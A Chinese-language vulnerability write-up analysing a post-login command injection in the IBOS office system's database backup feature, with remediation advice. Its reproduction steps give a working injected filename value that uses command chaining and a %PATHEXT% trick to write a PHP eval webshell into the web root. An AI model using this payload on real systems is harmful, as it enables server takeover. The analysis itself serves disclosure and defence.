IBOS酷办公后台命令执行GetShell分析
字数 1094 2025-08-18 11:35:59
IBOS酷办公后台命令执行漏洞分析与利用
漏洞概述
IBOS酷办公系统在4.5.5及以前版本中存在一个后台命令执行漏洞,攻击者可以通过构造特殊的数据库备份文件名实现命令执行,进而获取Webshell。该漏洞需要攻击者已获取后台登录权限(可通过社工、弱口令或钓鱼等方式获得)。
漏洞影响
- 受影响版本:IBOS 4.5.5及更早版本
- 漏洞类型:命令注入
- 危害等级:高危(需要后台权限)
漏洞复现步骤
- 获取后台权限:通过社工、弱口令或钓鱼等方式获取后台登录权限
- 进入数据库备份功能:
- 登录后台后点击"管理后台"
- 找到"通用设置" → "数据库" → "备份"
- 设置备份选项:
- 在"更多选项"中,选择"数据备份方式"为"系统 MySQL Dump (Shell) 备份"
- 点击"提交"按钮
- 拦截并修改请求:
- 使用Burp Suite等工具拦截数据包
- 修改
filename参数为恶意构造的值:2021%26echo "<?php eval($_REQUEST[8]);?>">2021%PATHEXT:~0,1%php%262021
- 放行请求:
- 虽然会返回错误,但漏洞利用已成功
- 验证利用结果:
- 在网站根目录下会生成
2021.php文件 - 该文件包含一句话木马:
<?php eval($_REQUEST[8]);?>
- 在网站根目录下会生成
漏洞分析
关键代码路径
漏洞主要存在于database.php文件中(该文件使用了Zend加密,需解密后分析)。
漏洞触发流程
-
用户提交备份请求时,系统获取
filename参数:$fileName = core\utils\Env::getRequest("filename"); -
系统对文件名进行过滤(但过滤不彻底):
$backupFileName = self::BACKUP_DIR . "/" . core\utils\str_replace(array("/", "\\", ".", "'"), "", $fileName); -
过滤后的文件名被拼接到
$dumpFile变量中:$dumpFile = core\utils\addslashes(core\utils\PATH_ROOT) . "/" . $backupFileName . ".sql"; -
最终
$dumpFile被用于shell_exec命令执行:shell_exec("{$mysqlBin}mysqldump --force --quick $command1 --add-drop-table $command2 $command3 --host=\"{$db["host"]}\" $command5 --user=\"{$db["username"]}\" --password=\"{$db["password"]}\" \"{$db["dbname"]}\" $tablesstr > $dumpFile");
绕过技巧
-
过滤绕过:
- 系统过滤了
/,\,.,'等字符 - 使用
%PATHEXT:~0,1%获取环境变量中的点号(.)来绕过过滤
- 系统过滤了
-
命令拼接:
- 使用
&符号(URL编码为%26)执行多条命令 - 构造的命令会先执行正常的备份操作,然后执行恶意命令
- 使用
漏洞修复建议
- 升级到最新版本的IBOS系统
- 如果无法立即升级,可采取以下临时措施:
- 严格限制后台访问权限
- 在备份功能中添加更严格的文件名过滤
- 禁用危险字符,包括命令分隔符
- 使用白名单方式验证文件名
参考链接
总结
该漏洞展示了即使需要后台权限的漏洞也可能带来严重危害。开发人员应始终对用户输入进行严格验证,特别是当这些输入用于系统命令或文件操作时。同时,管理员应定期更新系统并限制后台访问权限,以降低此类漏洞被利用的风险。